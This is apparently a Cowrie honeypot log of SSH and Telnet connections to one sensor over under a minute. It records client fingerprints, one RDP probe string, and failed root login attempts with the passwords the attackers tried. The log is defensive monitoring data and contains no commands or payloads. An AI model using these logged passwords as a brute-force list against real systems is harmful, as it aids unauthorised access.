{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:14.463780Z","src_ip":"77.94.47.83","session":"6b1dcded3b09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":58328,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f7e4d97e19a","protocol":"ssh","message":"New connection: 119.96.193.72:58328 (10.17.0.5:22) [session: 3f7e4d97e19a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:14.532048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:14.537243Z","src_ip":"119.96.193.72","session":"3f7e4d97e19a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:14.592876Z","src_ip":"77.94.47.83","session":"6b1dcded3b09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:14.787315Z","src_ip":"119.96.193.72","session":"3f7e4d97e19a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhvfutljy","message":"login attempt [root/fhvfutljy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:14.989210Z","src_ip":"77.94.47.83","session":"6b1dcded3b09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"union123","message":"login attempt [root/union123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:15.818518Z","src_ip":"119.96.193.72","session":"3f7e4d97e19a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:16.125583Z","src_ip":"77.94.47.83","session":"6b1dcded3b09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:17.073300Z","src_ip":"119.96.193.72","session":"3f7e4d97e19a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":54130,"dst_ip":"10.17.0.5","dst_port":22,"session":"35c1ef955015","protocol":"ssh","message":"New connection: 87.251.79.125:54130 (10.17.0.5:22) [session: 35c1ef955015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:18.744447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:18.750082Z","src_ip":"87.251.79.125","session":"35c1ef955015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:18.822266Z","src_ip":"87.251.79.125","session":"35c1ef955015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59973,"dst_ip":"159.203.135.109","dst_port":22,"session":"0af7e76cb3d9","protocol":"ssh","message":"New connection: 167.172.81.52:59973 (159.203.135.109:22) [session: 0af7e76cb3d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:19.013530Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:19.028292Z","src_ip":"167.172.81.52","session":"0af7e76cb3d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:19.032508Z","src_ip":"167.172.81.52","session":"0af7e76cb3d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rjhjkm","message":"login attempt [root/rjhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:19.040825Z","src_ip":"87.251.79.125","session":"35c1ef955015","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":35286,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f6d481bc404","protocol":"ssh","message":"New connection: 103.82.132.16:35286 (10.17.0.5:22) [session: 4f6d481bc404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:19.096764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:19.100588Z","src_ip":"103.82.132.16","session":"4f6d481bc404","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:19.356775Z","src_ip":"103.82.132.16","session":"4f6d481bc404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49526,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a1bc073747c","protocol":"telnet","message":"New connection: 152.42.224.71:49526 (10.17.0.5:23) [session: 3a1bc073747c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:19.918088Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:20.114625Z","src_ip":"87.251.79.125","session":"35c1ef955015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ljxtymrf","message":"login attempt [root/ljxtymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:20.130974Z","src_ip":"103.82.132.16","session":"4f6d481bc404","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49538,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68dc661bd6d","protocol":"telnet","message":"New connection: 152.42.224.71:49538 (10.17.0.5:23) [session: a68dc661bd6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:20.175002Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:21.440854Z","src_ip":"103.82.132.16","session":"4f6d481bc404","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.5186140537262,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:32.755557Z","src_ip":"152.42.224.71","session":"59a617901d51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48140,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce9d18b6bf2","protocol":"telnet","message":"New connection: 152.42.224.71:48140 (10.17.0.5:23) [session: 2ce9d18b6bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:33.982617Z"}
{"eventid":"cowrie.session.closed","duration":33.074666023254395,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:35.296875Z","src_ip":"152.42.224.71","session":"85dcbc36080f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40876,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a3995176191","protocol":"telnet","message":"New connection: 152.42.224.71:40876 (10.17.0.5:23) [session: 3a3995176191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:37.342603Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40888,"dst_ip":"10.17.0.5","dst_port":23,"session":"d80b60be9478","protocol":"telnet","message":"New connection: 152.42.224.71:40888 (10.17.0.5:23) [session: d80b60be9478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:41.816129Z"}
{"eventid":"cowrie.session.closed","duration":113.3637444972992,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:42.465220Z","src_ip":"152.42.224.71","session":"32c484b294d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":45052,"dst_ip":"10.17.0.5","dst_port":22,"session":"67334cf0e91d","protocol":"ssh","message":"New connection: 166.1.144.134:45052 (10.17.0.5:22) [session: 67334cf0e91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:43.532566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:43.537766Z","src_ip":"166.1.144.134","session":"67334cf0e91d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:43.654596Z","src_ip":"166.1.144.134","session":"67334cf0e91d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skywalker","message":"login attempt [root/skywalker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:44.102960Z","src_ip":"166.1.144.134","session":"67334cf0e91d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:45.210266Z","src_ip":"166.1.144.134","session":"67334cf0e91d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":33034,"dst_ip":"10.17.0.5","dst_port":22,"session":"2da69d5a582c","protocol":"ssh","message":"New connection: 165.154.6.86:33034 (10.17.0.5:22) [session: 2da69d5a582c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:46.113699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:46.117384Z","src_ip":"165.154.6.86","session":"2da69d5a582c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:46.336547Z","src_ip":"165.154.6.86","session":"2da69d5a582c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":103.27585005760193,"message":"Connection lost after 103 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:46.973047Z","src_ip":"152.42.224.71","session":"b8e214da8fd7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"2056","message":"login attempt [root/2056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:47.246989Z","src_ip":"165.154.6.86","session":"2da69d5a582c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60380,"dst_ip":"10.17.0.5","dst_port":23,"session":"86620d81c21b","protocol":"telnet","message":"New connection: 152.42.224.71:60380 (10.17.0.5:23) [session: 86620d81c21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:47.587707Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:48.468572Z","src_ip":"165.154.6.86","session":"2da69d5a582c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":52030,"dst_ip":"159.203.135.109","dst_port":22,"session":"01471e08ef84","protocol":"ssh","message":"New connection: 38.93.206.2:52030 (159.203.135.109:22) [session: 01471e08ef84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:49.224016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:49.232420Z","src_ip":"38.93.206.2","session":"01471e08ef84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:49.283145Z","src_ip":"38.93.206.2","session":"01471e08ef84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinochka","message":"login attempt [root/alinochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:49.437614Z","src_ip":"38.93.206.2","session":"01471e08ef84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.306809425354004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:50.224790Z","src_ip":"152.42.224.71","session":"3a1bc073747c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:50.501015Z","src_ip":"38.93.206.2","session":"01471e08ef84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":39288,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2c35affe864","protocol":"ssh","message":"New connection: 43.135.139.74:39288 (10.17.0.5:22) [session: a2c35affe864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:29:50.729173Z"}
